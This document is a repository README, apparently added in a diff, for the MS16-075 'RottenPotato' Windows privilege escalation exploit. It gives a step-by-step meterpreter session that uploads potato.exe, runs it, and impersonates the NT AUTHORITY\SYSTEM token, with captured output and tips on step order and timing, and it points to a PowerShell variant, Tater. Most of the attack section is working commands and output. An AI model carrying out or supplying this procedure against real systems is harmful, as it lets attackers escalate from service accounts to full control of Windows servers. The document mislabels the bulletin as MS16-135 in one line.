MS16-075

Author: Gitmaninc

MS16-075/README.md

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+# MS16-075 
+
+- The potato.exe was from [@FoxGlove](https://github.com/foxglovesec/RottenPotato)
+- For a technical overview of this [exploit]( https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
+
+Vulnerability reference:
+ * [MS16-135](https://technet.microsoft.com/library/security/MS16-075)
+ 
+
+## RottenPotato
+
+Local Privilege Escalation from Windows Service Accounts to SYSTEM
+
+## Videos for example
+- [SQL Server](https://www.youtube.com/watch?v=3CPdKMeB0UY) 
+- [IIS](https://www.youtube.com/watch?v=wK0r-TZR7w8)
+
+## Usage of msf
+```
+msf exploit(web_delivery) > set ExitOnsession false
+msf exploit(web_delivery) > run
+meterpreter > getuid
+Server username: IIS APPPOOL\DefaultAppPool
+meterpreter > getprivs
+===========================================================
+Enabled Process Privileges
+===========================================================
+ SeAssignPrimaryTokenPrivilege
+
+meterpreter > upload  /root/potato.exe C:\Users\Public
+meterpreter > cd C:\\Users\\Public
+meterpreter > use incognito
+meterpreter > list_tokens -u
+NT AUTHORITY\IUSR
+
+meterpreter > execute -cH -f ./potato.exe
+meterpreter > list_tokens -u
+NT AUTHORITY\IUSR
+NT AUTHORITY\SYSTEM
+
+meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
+
+meterpreter > getuid
+Server username: NT AUTHORITY\SYSTEM
+```
+
+### Get a shell has Privileges:SeAssignPrimaryTokenPrivilege
+
+![iis](img/IIS_shell.png)
+
+### Get system Privilege
+
+![potato](img/potato.png)
+
+***
+- It is important to impersonate the token (or run list_tokens -u) quickly after runnning the binary.
+- It is also important to follow the order of the steps. 
+- Make sure you "use incognito" before running the binary.
+
+
+***
+##Tater
+a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit
+
+- The Tater was from [@Kevin-Robertson](https://github.com/Kevin-Robertson/Tater)
+![win10](img/win10.png)